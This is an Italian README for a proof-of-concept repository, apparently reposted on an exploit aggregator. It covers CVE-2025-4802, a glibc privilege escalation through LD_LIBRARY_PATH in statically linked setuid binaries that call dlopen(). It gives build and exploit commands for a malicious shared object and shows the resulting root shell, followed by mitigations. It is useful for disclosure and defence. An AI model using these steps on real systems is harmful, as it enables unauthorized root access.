## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BETIM-HODZA-CVE-2025-4802-PROOF-OF-CONCEPT
# CVE-2025-4802 — Prova di Concetto
> **⚠️ Avvertenza:** Questo repository è esclusivamente per **scopi educativi e di ricerca sulla sicurezza autorizzati.** Non utilizzare questo exploit su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test. L'uso improprio potrebbe violare leggi e regolamenti.
## Riepilogo CVE
Campo| Dettagli
---|---
**ID CVE**| CVE-2025-4802
**Software interessato**| GNU C Library (glibc)
**Versioni interessate**| 2.27 – 2.38
**Tipo di vulnerabilità**| Escalation dei privilegi tramite `LD_LIBRARY_PATH` non fidato
**Vettore di attacco**| Locale
## Descrizione
Una vulnerabilità nella GNU C Library (glibc) versioni da 2.27 a 2.38 consente a un utente malintenzionato di sfruttare la variabile d'ambiente `LD_LIBRARY_PATH` in **binari setuid compilati staticamente** che chiamano `dlopen()`.
Normalmente, il linker dinamico sanifica `LD_LIBRARY_PATH` per i programmi setuid. Tuttavia, i binari compilati staticamente bypassano completamente il linker dinamico, quindi `LD_LIBRARY_PATH` **non viene mai cancellato**. Quando un tale binario chiama `dlopen()` (direttamente, o indirettamente tramite `setlocale()` o funzioni NSS come `getaddrinfo()`), glibc risolve le librerie condivise usando il `LD_LIBRARY_PATH` controllato dall'attaccante, consentendo l'esecuzione di codice arbitrario con privilegi elevati.
## Come funziona
1. Un binario setuid-root **compilato staticamente** chiama `dlopen("myso.so", ...)` per caricare un oggetto condiviso per nome (non un percorso assoluto).
2. Poiché il binario è collegato staticamente, il linker dinamico (`ld-linux.so`) non viene mai eseguito, quindi `LD_LIBRARY_PATH` **non è sanificato**.
3. Un attaccante crea un **oggetto condiviso malevolo** (`myso.so`) che esporta lo stesso simbolo `hello()` ma genera una shell root.
4. L'attaccante imposta `LD_LIBRARY_PATH` in modo che punti alla directory contenente la libreria malevola.
5. Quando il binario setuid viene eseguito, carica la **libreria dell'attaccante** invece di quella legittima, eseguendo codice arbitrario come root.
## Struttura del repository
root@kitploit:~
.
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
## Prerequisiti
* **Sistema operativo:** Fedora 39 (o qualsiasi distribuzione Linux con glibc vulnerabile)
* **Versione glibc:** 2.27 – 2.38 (controlla con `ldd --version`)
* **Pacchetti:** `gcc`, `make`
* **Accesso root** per impostare il bit setuid
## Passaggi di riproduzione
### 1\. Compila tutto
root@kitploit:~
make all
O manualmente:
root@kitploit:~
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
### 2\. Imposta il bit Setuid (richiede root)
root@kitploit:~
sudo chown root:root main
sudo chmod u+s main
### 3\. Esegui normalmente (comportamento sicuro)
root@kitploit:~
./main
Output previsto:
root@kitploit:~
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
### 4\. Sfrutta con `LD_LIBRARY_PATH` (comportamento malevolo)
root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main
Output previsto:
root@kitploit:~
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
Il binario carica il `myso.so` dell'attaccante dalla directory `evil_library/` invece di quello legittimo, generando una **shell root**.
## Prova di Concetto

È disponibile anche un video dimostrativo: proof_of_concept_video.mp4
## Mitigazione
* **Aggiorna glibc** a una versione corretta (> 2.38)
* **Evita il collegamento statico** per binari setuid che usano `dlopen()`
* Usa **percorsi assoluti** nelle chiamate `dlopen()` invece di nomi di librerie semplici
* Abbassa i privilegi **prima** di chiamare `dlopen()`
* Usa flag di hardening del compilatore/linker ed evita setuid dove possibile
## Risorse
* NVD — CVE-2025-4802